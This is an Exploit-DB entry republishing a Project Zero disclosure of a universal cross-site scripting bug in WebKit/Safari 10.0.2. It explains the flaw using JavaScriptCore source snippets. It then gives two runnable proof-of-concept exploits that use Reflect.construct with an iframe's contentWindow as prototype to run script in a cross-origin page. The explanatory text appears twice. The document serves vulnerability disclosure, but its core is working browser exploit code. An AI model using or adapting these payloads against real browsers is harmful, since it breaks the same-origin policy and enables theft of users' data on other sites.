EDB-ID: 41899 | Author: Google Security Research | Published: 2017-04-20 | CVE: N/A | Type: Webapps | Platform: Multiple | Aliases: N/A | Advisory/Source: Link | Tags: Cross-Site Scripting (XSS) | Vulnerable App: N/A | Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1084
When creating an object in Javascript, its |Structure| is created with the constructor's prototype's |VM|.
Here's some snippets of that routine.
Structure* InternalFunction::createSubclassStructure(ExecState* exec, JSValue newTarget, Structure* baseClass)
{
...
if (newTarget && newTarget != exec->jsCallee()) {
// newTarget may be an InternalFunction if we were called from Reflect.construct.
JSFunction* targetFunction = jsDynamicCast<JSFunction*>(newTarget);
if (LIKELY(targetFunction)) {
...
return targetFunction->rareData(vm)->createInternalFunctionAllocationStructureFromBase(vm, prototype, baseClass);
...
} else {
...
return vm.prototypeMap.emptyStructureForPrototypeFromBaseStructure(prototype, baseClass);
...
}
}
return baseClass;
}
inline Structure* PrototypeMap::createEmptyStructure(JSObject* prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo, IndexingType indexingType, unsigned inlineCapacity)
{
...
Structure* structure = Structure::create(
prototype->globalObject()->vm(), prototype->globalObject(), prototype, typeInfo, classInfo, indexingType, inlineCapacity);
m_structures.set(key, Weak<Structure>(structure));
...
}
As we can see |Structure::create| is called with prototype's |vm| and |globalObject| as arguments. So it could lead to an UXSS condition.
Tested on Safari 10.0.2(12602.3.12.0.1) and Webkit Nightly 10.0.2(12602.3.12.0.1, r210800).
More simple way:
let f = document.body.appendChild(document.createElement('iframe'));
f.onload = () => {
f.onload = null;
let g = function () {};
g.prototype = f.contentWindow;
let a = Reflect.construct(Function, ['return window[0].eval;'], g);
let e = a();
e('alert(location)');
};
f.src = 'https://abc.xyz/';
-->
<body>
<script>
/*
When creating an object in Javascript, its |Structure| is created with the constructor's prototype's |VM|.
Here's some snippets of that routine.
Structure* InternalFunction::createSubclassStructure(ExecState* exec, JSValue newTarget, Structure* baseClass)
{
...
if (newTarget && newTarget != exec->jsCallee()) {
// newTarget may be an InternalFunction if we were called from Reflect.construct.
JSFunction* targetFunction = jsDynamicCast<JSFunction*>(newTarget);
if (LIKELY(targetFunction)) {
...
return targetFunction->rareData(vm)->createInternalFunctionAllocationStructureFromBase(vm, prototype, baseClass);
...
} else {
...
return vm.prototypeMap.emptyStructureForPrototypeFromBaseStructure(prototype, baseClass);
...
}
}
return baseClass;
}
inline Structure* PrototypeMap::createEmptyStructure(JSObject* prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo, IndexingType indexingType, unsigned inlineCapacity)
{
...
Structure* structure = Structure::create(
prototype->globalObject()->vm(), prototype->globalObject(), prototype, typeInfo, classInfo, indexingType, inlineCapacity);
m_structures.set(key, Weak<Structure>(structure));
...
}
As we can see |Structure::create| is called with prototype's |vm| and |globalObject| as arguments. So it could lead to an UXSS condition.
Tested on Safari 10.0.2(12602.3.12.0.1) and Webkit Nightly 10.0.2(12602.3.12.0.1, r210800).
*/
'use strict';
function main() {
let f = document.body.appendChild(document.createElement('iframe'));
f.onload = () => {
f.onload = null;
let g = function () {};
g.prototype = f.contentWindow;
let a = Reflect.construct(Intl.NumberFormat, [], g);
Intl.NumberFormat.prototype.__lookupGetter__("format").call(a).constructor('alert(location)')();
};
f.src = 'https://abc.xyz/';
}
main();
</script>
</body>
